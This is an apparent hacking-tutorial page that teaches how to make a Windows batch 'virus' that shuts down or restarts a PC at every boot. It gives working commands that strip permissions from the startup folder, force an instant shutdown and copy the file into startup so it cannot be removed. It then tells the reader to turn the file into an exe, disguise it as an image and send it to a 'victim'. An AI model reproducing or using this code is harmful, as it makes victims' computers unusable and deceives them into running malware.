Virus that Shutdowns the PC every time PC Turns On.

This Virus will shutdown the PC as soon as PC is on. That means the victim can never open his/her PC. To create this virus we will use shutdown command. Before we start lets see how to use this command:
Command: shutdown
Options: -a, -r, -f, -t, -s, -c. 
-a: abort shutdown
-r: restart
-f: force the running application without warning i.e. force shutdown without warning.
-t: set timeout for shutdown in seconds
-s: shutdown
-c: display shutdown message.
For more options type shudown /? in command prompt.


Creating Process:-
1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.
2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.
3. Send this file to your victim and make him click, you can cover this file using image file, Click Here to learn hiding trick. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.

Note:- To create batch files follow the above "creating process".

Lets see few examples:-
Lets say this file is shut.exe(convert from bat to exe)

cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N
shutdown -s -f -c "format your hard drive" -t 00
move /y "shut.exe" "%allusersprofile%\start menu\programs\startup\"
Note:- The specified comment may not be seen if the timeout is 00 seconds
This is the most dangerous virus, once this virus is clicked there is no way victim can get away. Lets see what this virus is doing. We have moved our virus to the "startup" folder using move command, so that every time system turns on our virus gets executed and we denied all permissions to "startup" folder using cacls command, so that no one can delete our virus from "startup". In this program we have used four options s, f, c and t, I don't think there is any explanation needed for first three, In the fourth option I have given parameter "00" which means it will shutdown after zero seconds(instantly).


Use below code for Restart:

cacls "%allusersprofile%\start menu\programs\startup" /e /p Everyone:N
shutdown -r -f -c "format your hard drive" -t 00
move /y "shut.exe" "%allusersprofile%\start menu\programs\startup\"

I don't think there is any explanation needed for this program it is exactly same as above, the only thing changed is in place of "-s"(shutdown) option I have used "-r" option.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same).
